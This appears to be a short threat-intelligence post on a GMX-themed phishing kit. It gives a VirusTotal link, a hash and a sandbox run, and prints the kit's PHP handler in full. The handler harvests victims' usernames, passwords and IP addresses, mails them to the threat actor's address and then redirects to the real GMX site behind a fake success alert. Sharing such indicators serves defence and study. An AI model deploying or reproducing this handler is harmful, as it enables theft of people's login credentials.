2018-01-08 [email protected]

#phishingkit
#threatactoremail
from
1/8/2018

https://www.virustotal.com/#/file/ed425766210a721dd59f6a0e8a55fe492000e5743b1809b7da0479e37272faa5/detection

md5 9f912f53b0d364137e31e90663a1d8d3
g[.]zip

I put the zip out here on app any run

https://app.any.run/tasks/a99850f3-73d8-4c77-9a1a-391c55aa00c1




---------


<?

$ip = getenv("REMOTE_ADDR");
$message .= "--Coded by vikky_banti----\n";
$message .= "Username or Email : ".$_POST['username']."\n";
$message .= "Password : ".$_POST['password']."\n";
$message .= "--------------------\n";
$message .= "IP: ".$ip."\n";
$message .= "Country: ".$country."\n";
$message .= "----Coded by Vikky_banti----------------\n";



$recipient = "[email protected]";
$subject = "GMX R3SuLt";
$headers = "From: GMX";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
	 mail("", "GMX", $message);
if (mail($recipient,$subject,$message,$headers))

{
?>

		   <script language=javascript>
alert('Account Successfully Update');
window.location='http://www.GMX.com';
</script>
<?

	   }
else
    	   {
 		echo "ERROR! Please go back and try again.";
  	   }

?>